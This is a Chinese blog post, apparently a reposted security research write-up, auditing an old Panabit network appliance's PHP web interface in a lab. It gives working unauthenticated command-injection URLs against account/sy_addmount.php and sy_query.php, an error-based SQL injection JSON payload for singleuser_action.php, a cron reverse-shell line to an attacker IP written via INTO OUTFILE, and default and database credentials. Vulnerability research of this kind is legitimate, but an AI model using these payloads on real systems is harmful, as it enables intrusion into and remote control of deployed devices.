上古版本panabit审计

渗透技巧 1年前 (2023) admin
458 2 0

上古版本panabit审计



安装环境


下载安装镜像https://bbs.panabit.com/thread-22651-1-1.html有完整的安装教程了选择镜像后系统可以选择FreeBSD 10的这个版本

上古版本panabit审计

虚拟机配置完成后启动,按照默认流程安装,根据自己情况配置一下网卡即可

安装好后访问ip https://192.166.13.111/

admin/panabit

上古版本panabit审计

ssh的账号密码都是root

上古版本panabit审计



找到站点源码


我们首先要看一下网络的监听这套系统是freebsd的,使用命令

sockstat -l

上古版本panabit审计

可以看见443端口是nginx启的,此时我们可以查看中间件的配置文件

# find / -name nginx.conf
/usr/local/etc/nginx/nginx.conf
/usr/local/etc/nginx_old/nginx.conf
# cat /usr/local/etc/nginx/nginx.conf

nginx的配置如下

server {
      listen 443 ssl;
      server_name localhost;

      ssl_certificate     /usr/local/etc/nginx/server.crt;
      ssl_certificate_key /usr/local/etc/nginx/server.key;

      ssl_session_cache   shared:SSL:1m;
      ssl_session_timeout 5m;

      ssl_ciphers HIGH:!aNULL:!MD5;
      ssl_prefer_server_ciphers on;

      ssl on;
      location / {
          root   /usr/logd/www;
          index index.php index.html index.thm;
      }

      location ~ .php$ {
          root           /usr/logd/www;
          fastcgi_pass   127.0.0.1:9000;
          fastcgi_read_timeout 3600;
          fastcgi_index index.php;
          #fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
          fastcgi_param SCRIPT_FILENAME /usr/logd/www/$fastcgi_script_name;
          include       fastcgi_params;
          client_max_body_size   40m;
      }
      error_log   /usr/logdata/www.log   error;
  }
}

可以看出这是一个php的网站,web的路径在 /usr/logd/www 中我们直接打包到本地

tar -zcvf /usr/logd/www.tar.gz /usr/logd/www


路由分析


上phpstorm看看源码,可以发现这套源码是没有MVC架构的,没有统一的入口,所有的文件都是入口。

MVC是Model-View-Controller的缩写,是一种软件设计典范,将业务逻辑、数据与界面显示分离的方法来组织代码。
MVC模式将应用程序分成三个核心部件:模型、视图、控制器。每个部件都处理自己的任务,达到减少编码的时间,提高代码复用性的目的。

来到登录页面追踪一下路由

上古版本panabit审计

可以追踪到 /cloud/api.php

<?php
require_once(__DIR__ . '/conf/config.php');

if(($page_file = route_api()) === false)
exit;

$page_file = ROOT_DIR . '/' . $page_file;

if(file_exists($page_file) === false)
json_error_exit(ERR_FAILURE, 'fail: not this api!');

require_once($page_file);

包含了config.php文件,里面又包含了多个文件,我们先不管它,这里直接追入route_api()函数

function route_api()
{
global $global_route_info;

return ROUTE_APPDIR . '/' . $global_route_info['app'] . '/api/' . $global_route_info['method'] . '.php';
}

结合常量的定义,拼接一下路径就是返回 apps/$global_route_info[‘app’]/api/$global_route_info[‘method’].php即 apps/user/api/login.php

// 执行 | exec function
if(($user = logged()) === false)
$user = auth($_REQUEST);

// 结果输出 | printf result
if($user === false)
json_error_exit(ERR_FAILURE, '登陆失败!', (is_needverify()?1:0));
else
json_error_exit(ERR_OK, '', 'index.php');

可以看见登录相关的验证代码在 auth.php 中

上古版本panabit审计

追进函数得到了

function update_data($dbname, $data, $where)
{
global $nidb;

$values = array();
$placeholder = '';
foreach($data as $key => $val) {
array_push($values, $val);
$placeholder = "$placeholder`$key` = ?, ";
}

if($placeholder == '')
return false;
$placeholder = substr($placeholder, 0, -2);

$where_str = '';
foreach($where as $key => $val) {
$where_str = "$where_str`$key` = ? and ";
array_push($values, $val);
}

if($where_str != '')
$where_str = substr("where $where_str", 0, -5);

return $nidb->prepare("update `$dbname` set $placeholder $where_str")->execute($values);
}

同时也看到了部分数据库的相关信息

if (defined('DB_HOST') == false)
define( 'DB_HOST', 'localhost:3306' );
if (defined('DB_USER') == false)
define( 'DB_USER', 'root' );
if (defined('DB_PASSWORD') == false)
define( 'DB_PASSWORD', '[email protected]' );
if (defined('DB_NAME') == false)
define( 'DB_NAME', 'palog' );

至此我们大致摸清了路由的走向



前台RCE


上古版本panabit审计

我们可以看见大部分代码中只是用了chksession函数来判断是否登录

function chksession()
{
//$lifeTime = 1800;
//setcookie(session_name(), session_id(), time() + $lifeTime, "/");

$params = session_get_cookie_params();
setcookie("PHPSESSID", session_id(), 0, $params["path"], $params["domain"], true, true);

$isok = 1;
if (!isset($_SESSION["palog_username"]) && !isset($_SESSION["cloud_username"]))
$isok = 0;

session_write_close();

if (!$isok)
return false;

return true;
}

验证的代码逻辑比较简短,看起来没什么可以bypass的点。因为该代码所有php文件都是入口,我们可以直接在所有php文件中检索不存在chksession调⽤,并包含风险函数的⽂件。

grep -r -L "chksession" /usr/logd/www --include="*.php" | xargs grep -E "exec(|system("

上古版本panabit审计

带有lib目录下的文件基本都是函数,可以直接略过,剩下的文件就不多了,一个个看过去可以看见前台的rce点

./account/sy_query.php:exec($cmd, $out, $ret);
./account/sy_addmount.php:exec($cmd, $out, $ret);

两个文件都是没有过滤直接拼接命令进行执行的

sy_addmount.php
<?php

include(dirname(__FILE__)."/../common.php");

$username = isset($_REQUEST["username"]) ? $_REQUEST["username"] : "";
if (empty($username)) {
echo '{"success":"no", "out":"NO_USER"}';
exit;
}

$username = addslashes($username);

$rows = array();

$cmd = PANALOGEYE." behavior add account=$username";
exec($cmd, $out, $ret);
echo $out[0];
exit;

测试漏洞点

https://192.166.13.111/account/sy_addmount.php?username=;whoami

上古版本panabit审计sy_query.php也是基本上相同的,只是输出是以json格式输出

<?php

include(dirname(__FILE__)."/../common.php");

$username = isset($_REQUEST["username"]) ? $_REQUEST["username"] : "";
if (empty($username)) {
echo '{"success":"no", "out":"NO_USER"}';
exit;
}

$username = addslashes($username);

$rows = array();

$cmd = PANALOGEYE." behavior get shangyun_flow=1 account=$username";
exec($cmd, $out, $ret);
foreach($out as $val) {
$ds = explode(' ', $val);
$rows = array("user_name"=>$username, "used_amount"=>$ds[8], "left_amount"=>$ds[9], "success"=>true);
}

echo json_encode($rows);
exit;
https://192.166.13.111/account/sy_query.php?username=|ping%20xbgocv.dnslog.cn

上古版本panabit审计


鸡肋的前台注入


一般后台会比前台有更多rce的点,我们如果能找到一个SQL注入,得到任意一个账号密码,就可以进入后台尝试rce。

grep -r -L -E "chksession" /usr/logd/www --include="*.php" | xargs grep -E "mysql_query("

上古版本panabit审计

注入点尝试,比如

https://192.166.13.112/singlelogin.php
https://192.166.13.112/Maintain/iwan/lib/task/mgd/api/rmv.php
https://192.166.13.112/singleuser_action.php

可以看到singlelogin.php中我们的传参被addslashes过滤了

if (!isset($_REQUEST["userId"])) exit;
$userid = addslashes($_REQUEST["userId"]);

if (($conn = my_mysql_connect()) == false) {
outputres("no", "数据库连接失败,请使用top命令检查进程mysqld是否正常运行");
exit;
}

$sql = "SELECT user_name from palog.singleuser where user_id='$userid'";
if (($result = mysql_query($sql)) == false) {
outputres("no", mysql_error());
mysql_close();
exit;
}

该输入点的输入经过addslashes()函数后直接拼接到数据库

上古版本panabit审计但是由于是utf8编码,又没有编码转换,目前无法bypass,这里就作罢了

上古版本panabit审计

/Maintain/iwan/lib/task/mgd/api/rmv.php同样也存在可控的输入点拼接到数据库语句中执行,只是我们的传参经过 intval($_REQUEST[‘taskid’]) 后就不能成为一个数据库语句了

<?php
session_start();
set_time_limit(0);

define('REQUEST_TYPE', basename(dirname(__FILE__)));
include(dirname(dirname(dirname(dirname(__FILE__)))) . "/auth-" . REQUEST_TYPE . ".php");

session_write_close();

function rmv_data($taskid)
{
if ($_SESSION["cloud_username"] != "admin") {
last_err('您的权限不足');
return 0;
}

$cmd = "delete from control_platform.ctr_task where `taskid` = $taskid";
$conn = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASS);
if (!$conn) {
last_err('数据库连接失败!');
return 0;
}

$count = 0;
if (($result = mysql_query($cmd)) !== false) {
mysql_free_result($result);
$count = mysql_affected_rows();
}

mysql_close($conn);

return $count;
}

if(isset($_REQUEST['taskid']) && ($taskid = intval($_REQUEST['taskid'])) > 0) {
$ret = rmv_data($taskid);
if($ret > 0) {
echo '{"ret": 0, "data": 0, "msg": ""}';
exit;
}
}

echo '{"ret": 1, "data": 0, "msg": "删除失败。' . last_err() . '"}';

继续往下看到singleuser_action.php

<?php
include "common.php";

$userinfo = file_get_contents('php://input');
if (empty($userinfo)) {
outputres("no", "NO_USERINFO");
exit;
}

$json = json_decode($userinfo);
$operation_type = $json->syncInfo->operationType;

if (($conn = my_mysql_connect()) == false) {
outputres("no", "MYSQL_CONNECT_ERROR");
exit;
}

$sql = $sql2 = "";

/*
* 创建singleuser表
*/
if ($operation_type == "ADD_USER" || $operation_type == "UPDATE_USER" ||
$operation_type == "DELETE_USER") {
$sql = "create table if not exists palog.singleuser(".
"id int not null auto_increment primary key, ".
"user_id VARCHAR(32) NOT NULL DEFAULT '',".
"account_status varchar(8) not null default '',".
"user_name VARCHAR(200) NOT NULL DEFAULT '',".
"user_pwd varchar(64) NOT NULL DEFAULT '',".
"user_sex varchar(2) NOT NULL DEFAULT '',".
"user_birthday varchar(19) NOT NULL DEFAULT '',".
"user_post varchar(50) NOT NULL DEFAULT '',".
"user_rank varchar(50) NOT NULL DEFAULT '',".
"user_phone varchar(50) NOT NULL DEFAULT '',".
"user_mobilephone varchar(50) NOT NULL DEFAULT '',".
"user_mailaddress varchar(50) NOT NULL DEFAULT '',".
"user_ca varchar(4000) NOT NULL DEFAULT '',".
"user_class varchar(32) NOT NULL DEFAULT '',".
"parent_id varchar(30) NOT NULL DEFAULT '',".
"employee_id varchar(30) NOT NULL DEFAULT '',".
"department_id varchar(30) NOT NULL DEFAULT '',".
"coporation_id varchar(30) NOT NULL DEFAULT '',".
"user_duty varchar(200) NOT NULL DEFAULT '',".
"user_postcode varchar(50) NOT NULL DEFAULT '',".
"user_alias varchar(100) NOT NULL DEFAULT '',".
"user_homeaddress varchar(200) NOT NULL DEFAULT '',".
"user_msn varchar(50) NOT NULL DEFAULT '',".
"user_nt varchar(256) NOT NULL DEFAULT '',".
"bxlx varchar(10) NOT NULL DEFAULT ''".
")ENGINE=MyISAM default charset=utf8";
if (mysql_query($sql) == false) {
outputres("no", mysql_error());
mysql_close();
exit;
}

$user_id = $json->syncInfo->user->userId;
$user_name = $json->syncInfo->user->userName;
$employee_id= $json->syncInfo->user->employeeId;
$department_id = $json->syncInfo->user->departmentId;
$department_name = $json->syncInfo->user->departmentName;
$coporation_id = $json->syncInfo->user->coporationId;
$corporation_name = $json->syncInfo->user->corporationName;
$user_sex = $json->syncInfo->user->userSex;
$user_duty = $json->syncInfo->user->userDuty;
$user_birthday = $json->syncInfo->user->userBirthday;
$user_post = $json->syncInfo->user->userPost;
$user_postCode = $json->syncInfo->user->userPostCode;
$user_alias = $json->syncInfo->user->userAlias;
$user_rank = $json->syncInfo->user->userRank;
$user_phone = $json->syncInfo->user->userPhone;
$user_homeaddress = $json->syncInfo->user->userHomeAddress;
$user_mobilephone = $json->syncInfo->user->userMobilePhone;
$user_mailaddress = $json->syncInfo->user->userMailAddress;
$user_msn = $json->syncInfo->user->userMSN;
$user_nt = $json->syncInfo->user->userNt;
$user_ca = $json->syncInfo->user->userCA;
$user_pwd = $json->syncInfo->user->userPwd;
$user_class = $json->syncInfo->user->userClass;
$parent_id = $json->syncInfo->user->parentId;
$bxlx = $json->syncInfo->user->bxlx;

switch($operation_type) {
case "ADD_USER":
$sql = "insert into palog.singleuser(user_id, user_name, user_pwd, account_status, user_sex, user_birthday, user_post, user_rank, user_phone, user_mobilephone, user_mailaddress, user_ca, user_class, parent_id, employee_id, department_id, coporation_id, user_duty, user_postcode, user_alias, user_homeaddress, user_msn, user_nt, bxlx) values('$user_id', '$user_name', '$user_pwd', '$account_status', '$user_sex', '$user_birthday', '$user_post', '$user_rank', '$user_phone', '$user_mobilephone', '$user_mailaddress', '$user_ca', '$user_class', '$parent_id', '$employee_id', '$department_id', '$coporation_id', '$user_duty', '$user_postcode', '$user_alias', '$user_homeaddress', '$user_msn', '$user_nt', '$bxlx')";
$sql2 = "insert into palog.users(username, password, mod_1)values('$user_id', '$user_pwd', 'Y')";
break;

case "DELETE_USER":
$sql = "delete from palog.singleuser where user_id='$user_id'";
$sql2 = "delete from palog.users where username='$user_id'";
break;

case "UPDATE_USER":
$sql = "update palog.singleuser set user_name='$user_name', user_pwd='$user_pwd', account_status='$account_status', user_sex='$user_sex', user_birthday='$user_birthday', user_post='$user_post', user_rank='$user_rank', user_phone='$user_phone', user_mobilephone='$user_mobilephone', user_mailaddress='$user_mailaddress', user_ca='$user_ca', user_class='$user_class', parent_id='$parent_id', employee_id='$employee_id', department_id='$department_id', coporation_id='$coporation_id', user_duty='$user_duty', user_postcode='$user_postcode', user_alias='$user_alias', user_homeaddress='$user_homeaddress', user_msn='$user_msn', user_nt='$user_nt', bxlx='$bxlx' where user_id='$user_id'";
break;
}
}
else
if ($operation_type == "ADD_ORGAN" || $operation_type == "DELETE_ORGAN" ||
$operation_type == "UPDATE_ORGAN" || $operation_type == "MERGE_ORGAN") {
/*
* 创建表
*/
$sql = "create table if not exists palog.single_organ(id int auto_increment primary key, organ_id varchar(30) not null default '', organ_name varchar(80) not null default '', organ_type varchar(32) not null default '', parent_id varchar(30) not null default '', stru_id varchar(50) not null default '', stru_type varchar(32) not null default '', stru_path varchar(64) not null default '', department_id varchar(30) not null default '', department_name varchar(80) not null default '', coporation_id varchar(30) not null default '', corporation_name varchar(80) not null default '', is_use char(1) not null default '1', is_leaf varchar(1) not null default '')ENGINE=MyISAM DEFAULT charset=utf8";
if (mysql_query($sql) == false) {
outputres("no", mysql_error());
mysql_close();
exit;
}

$stru_id = $json->syncInfo->stru->struId;
$organ_id = $json->syncInfo->stru->organId;
$stru_type = $json->syncInfo->stru->struType;
$parent_id = $json->syncInfo->stru->parentId;
$stru_path = $json->syncInfo->stru->struPath;
$organ_code = $json->syncInfo->stru->organCode;
$organ_name = $json->syncInfo->stru->organName;
$organ_type = $json->syncInfo->stru->organType;
$department_id = $json->syncInfo->stru->departmentId;
$department_name = $json->syncInfo->stru->departmentName;
$corporation_name = $json->syncInfo->stru->corporationName;
$is_leaf = $json->syncInfo->stru->isLeaf;
$is_use = $json->syncInfo->stru->isUse;

switch($operation_type) {
case "ADD_ORGAN":
$sql = "insert into palog.single_organ(organ_id, organ_name, organ_type, parent_id, stru_id, stru_type, stru_path, department_id, department_name, coporation_id, corporation_name, is_use, is_leaf) values('$organ_id', '$organ_name', '$organ_type', '$parent_id', '$stru_id', '$stru_type', '$stru_path', '$department_id', '$department_name', '$coporation_id', '$corporation_name', '$is_use', '$is_leaf')";
break;

case "DELETE_ORGAN":
$sql = "delete from palog.single_organ where organ_id='$organ_id'";
break;

case "UPDATE_ORGAN":
$sql = "update palog.single_organ set organ_name='$organ_name', organ_type='$organ_type', stru_id='$stru_id', stru_type='$stru_type', stru_path='$stru_path', department_id='$department_id', department_name='$department_name', coporation_id='$coporation_id', corporation_name='$corporation_name' where organ_id='$organ_id'";
break;

case "MERGE_ORGAN":
break;

default:
outputres("no", "NO_ACTION");
mysql_close();
exit;
}
}
else {
mysql_close();
outputres("no", "NO_OPERATION_TYPE");
exit;
}

if (mysql_query($sql) == false) {
outputres("no", mysql_error());
mysql_close();
exit;
}

if ($sql2 != "")
mysql_query($sql2);

mysql_close();

outputres("yes", "OK");
exit;

看代码流程,可以知道$userinfo = file_get_contents(‘php://input’);

我们可以用POST的方式去定义userinfo这个参数,参数被json解码并赋值

我们只要控制$operation_type走入”DELETE_ORGAN”的流程,在$organ_id定义sql语句即可

根据代码流程,写出poc

{"syncInfo":{"operationType":"DELETE_ORGAN","stru":{"organId":"-1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#"}}}

上古版本panabit审计

爆出数据库名

{"syncInfo":{"operationType":"DELETE_ORGAN","stru":{"organId":"-1' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='palog' limit 0,1),0x7e)))#"}}}

上古版本panabit审计

查询发现web后台的账号密码不在axp中

上古版本panabit审计

phpuser用户访问爆不存在palog.users表,所以我们没办法注入出web登录用户的口令

上古版本panabit审计

那么为什么它能验证账号密码呢?实际上,这个表并不是用户认证用的,甚至都不存在

上古版本panabit审计

我们要的口令在palog.cloud_user里面,root用户访问数据库测试可以发现

上古版本panabit审计

palog.cloud_user里面有我们要的口令,但是phpuser这个数据库用户并没有权限访问。从前面的路由分析中也可以发现这个数据表才是认证数据库时使用的

上古版本panabit审计

其他利用方式?

网站没有设置secure_file_priv的值,数据库允许我们写入文件到任何地方,我们可以直接写入webshell或者计划任务。只是数据库的特性导致不能覆盖原文件写入。

mysql> show VARIABLES like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | ON |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.16 sec)

mysql>

我们的写入计划任务的语句理想状态下

delete from palog.single_organ where organ_id='-1';SELECT '* * * * * sh -i >& /dev/tcp/192.166.13.169/9001 0>&1' INTO OUTFILE '/etc/cron.d/task';

在数据库中也确实成功了

上古版本panabit审计

然而在url中执行

上古版本panabit审计动态调试中我们的语句又是正常的

上古版本panabit审计

大概是json赋值的时候产生的问题

然鹅默认情况下,该系统不开启计划任务,所以实际上这条路是走不通的

上古版本panabit审计

若能解决 / 转义的问题,倒是能进行写入webshell的操作


官网升级包 https://download.panabit.com:8443/json/system/api.php?action=download&type=common_file&md5=7f7471345e8fde56137767275c3079ab

原文始发于微信公众号(dada安全研究所):上古版本panabit审计

版权声明:admin 发表于 2023年3月7日 下午1:09。
转载请注明:上古版本panabit审计 | CTF导航

相关文章

2 条评论

您必须登录才能参与评论!
立即登录
  • amazing
    amazing 游客

    图片水印都没去,不能引用一下原文嘛?